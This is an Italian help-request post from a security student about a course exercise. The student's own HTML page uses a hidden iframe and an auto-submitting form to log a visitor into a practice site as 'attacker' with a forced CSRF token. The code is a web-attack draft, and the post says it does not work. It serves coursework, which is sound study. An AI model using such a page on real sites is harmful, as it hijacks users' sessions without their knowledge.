nel mio corso sulla sicurezza, ci è stato detto di praticare un attacco xss usando firefox su questo sito Web;
http://permalink.co/
Non preoccuparti, questo è un sito web appositamente configurato per farci esercitare la sicurezza. Il campo csrf che vedi dovrebbe essere impostato su 1 (per la convalida del token, il token è casuale) e il campo xss deve essere impostato su 0 per questa pratica. Dovremmo scrivere un file html e includere altri linguaggi come javascript, in modo tale che quando il nostro file viene eseguito dal browser, dovrebbe semplicemente visualizzare una pagina vuota. Ma una volta aggiornato, dovrebbe mostrare che siamo collegati al sito web che ho dato sopra. Il nome utente è "attacker" e la password è "l33th4x".
In pratica ho bisogno di bloccare password, nome utente e token. Mi è venuto in mente un piano per usare un cookie e impostare il token su "abc". Quindi, quando arrivo al login, uso il nome utente e la password che conosco con token = abc che ho impostato consapevolmente. Ma il mio codice non funziona, mi è stato detto che ho bisogno di due moduli, il primo per impostare il token cookie su "abc" e il secondo per l'accesso usando i tre parametri. Ma non vedo cosa mettere nel 1 ° modulo. Ho trovato il codice qui sotto ma non funziona, ho bisogno di aiuto;
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title> set csrf to 0 and xss to 4 on http://permalink.co/ </title>
</head>
<body>
<iframe style="border:none;width:0px;height:0px" id="iframe_submit" name="iframe_submit"></iframe>
<form id="form_id" action="http://permalink.co/login" method="POST" target="iframe_submit">
<input type="hidden" name = "csrf_token" value="abc"><br>
<input type="hidden" name = "username" value="attacker"><br>
<input type="hidden" name = "password" value="l33th4x"><br>
</form>
<script type="text/javascript">
document.setcookie="csrf_token=abc";
document.forms["form_id"].submit();
</script>
</body>
</html>
Per una visualizzazione di prima mano della domanda, visita il sito Web sottostante e cerca il numero 2.1. Ciò era dovuto lo scorso mese ma non l'ho capito e gli esami si stanno avvicinando; link